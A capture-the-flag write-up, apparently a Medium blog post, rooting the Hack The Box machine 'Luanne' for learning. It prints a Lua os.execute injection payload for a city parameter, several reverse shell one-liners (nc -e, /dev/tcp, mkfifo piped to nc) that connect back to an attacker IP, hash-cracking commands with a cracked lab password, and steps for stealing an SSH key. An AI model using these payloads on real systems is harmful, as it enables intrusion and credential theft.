Hack The Box — Luanne

Eslam Akl
6 min readMar 27, 2021

Hey folks, today we have a new easy machine from HTB “Luanne”, it’s an easy level and based on Enumeration, custom exploitation and have a little of CTF techniques.

What we will do ?

As usual, we have some steps which we follow to pwn any machine, our steps are:

  1. Recon / Information gathering
  2. Scanning
  3. Gaining Access
  4. Maintaining Access
  5. Reporting / Analysis

After finishing our steps we will have these informations, stay calm and follow reading :)

1. Information Gathering

In this step we aim to collect all these informations, which we can collect on a specific target like its open ports, security mode of login systems, directories, OS version, services versions, etc

We will start this step by scanning all ports to discover the open ports and know where we will get into this machine

nmap -sS -sV -T4 -sC -O or namp -A -T4

we have 3 open ports, one of them is 22 ssh and this one is not vulnerable by any kind of dangerous vulnerabilities, I know that from my little experience :)

Also, we have port 80 and 9001, and we’re unauthorized to access anyone of them “It’s clear from the http-headers”

But notice that in the script scanning results we have /robots.txt is accessible at port 80 so let’s check it

It tells us to access the endpoint /weather okay, let’s do it

There’s nothing here! So let’s use gobuster to discover the hidden directories by using this command gobuster dir -u -w /usr/share/wordlists/dirb/common.txt -l -f
The results contain one accessible directory /forecast so let’s check it…

From the message we should understand that it needs ?city=list parameter

This parameter deals with the database and bring all these infos from it, I think the query is select * from cities where city=('list') or something like that, so I want to check if this parameter is vulnerable by any kind of vulnerabilities like SQLi , OS command injection or LFI

2. Scanning

In this step we aim to scan all collected info from the previous one.

let’s check it by adding ' at the end of the value

Note that the backend language is lua

We have an error! It may be vulnerable. Let’s balance the query by adding ' or ') or ") or " until it works with you with no error

Don’t forget to put --+- at the end of the query to comment all the rest of the query which we don’t need it to be executed

After that I searched for lua reverse shell and found that os.execute('command') is the function we will use if we want to execute commands on the server like id and it works :)

Now, we have a OS command injection :””
Let’s try to gain a shell through this vulnerability.

3. Gaining Access

After using multiple commands like os.execute('nc 10.10.xx.xx 9001 -e /bin/bash') and os.execute('bash -i >& /dev/tcp/10.10.xx.xx/9001 0>&1') I get a connection but no shell.

After asking some friends and searching, I’ve found this command which will open a shell and it uses nc as we tried to open a shell

London') os.execute('rm /tmp/fa;mkfifo /tmp/fa;cat /tmp/fa|/bin/sh -i 2>&1|nc 10.10 .14.44 443 >/tmp/fa;')--+-Encoded command:

4. Maintaining Access

So after using it we get a shell and found a hashed password

Let’s crack it using hashcat

hashcat -m 500 -a 0 hashed_pass /path/to/wordlist or by using john sudo john hashed_pass -w /path/to/wordlist

we get the password: iamthebest

Also, after using Linpeas I have another creds user:123 for the 2nd web application, but unfortunately there’s nothing interested there

Remember that we have port 3000 working on localhost and after checking the network status with netstat I’ve found that port 3001 is also open, so let’s curl their contents

curl It asks me for creds

curl --user webapi_user:iamthebest

Nothing interested!

Port 3001 is accessible with the same creds, and I’m trying to read the id_rsa from .ssh but not found

Let’s try to read it from the main directory

It works :) and we have the user id_rsa key

It works! Perfect

Let’s continue our enumeration in the user directory…

We have a backup directory and file with extension tar.gz.enc as you can see

after searching for how to open this extension, I’ve found that openssl can uncompressed it, but it asks for password!!
So, let’s try to uncompressed it using netpgp and it works :)

It uncompressed it to tar.gz file which we can easily open it. After checking, it’s content we have a new hashed_password

Let’s try to crack it using the same way and we get it

Let’s try to use sudo to change the user to root but unfortunately it didn’t work because sudo isn’t installed

Remember that we have access on doas.conf which is alternative for sudo so let’s try to use it

And it works and we have the root.txt ❤

If you speaks Arabic, you can check my video walkthrough from here

If you find it helpful, Kindly give me a respect from here eslam3kl — HTB

Stay in touch

LinkedIn | GitHub | Twitter



Eslam Akl

Penetration Tester, Bug Hunter, Author of 10 CVEs, Author of multiple security tools, and more :) You can find me on Twitter @eslam3kll